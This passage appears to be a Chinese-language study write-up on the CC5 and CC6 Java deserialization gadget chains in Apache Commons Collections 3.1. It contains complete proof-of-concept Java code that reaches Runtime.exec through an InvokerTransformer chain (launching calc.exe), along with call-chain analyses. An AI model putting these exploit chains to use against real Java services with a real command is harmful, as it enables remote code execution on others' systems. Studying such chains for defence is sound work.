new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}
调用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC6
cc5+urldns
环境搭建
java8
commons-collections 3.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
调用分析
解决过程中弹出计算器问题:
Java反序列化CC6链 —— 逐步EXP编写 - FreeBuf网络安全行业门户
和cc5不太一样的就是入口这里,看到HashSet
的readobject
然后调用了map.put
然后调用了hash
方法
然后是hashcode
这里key
传入可以为TiedMapEntry
,那么跟进hashcode
可以看到这里用了getvalue方法,就是和cc5后面的一样
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc.exe",}),
new ConstantTransformer(1)};
//防止payload生成过程中触发,先放进去一个空的Transform
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet expMap = new HashSet();
expMap.add(entry);
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
调用链
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
总结
大部分分析都是和网上差不多,这里感觉还是有点乱,以后再完善一下。。。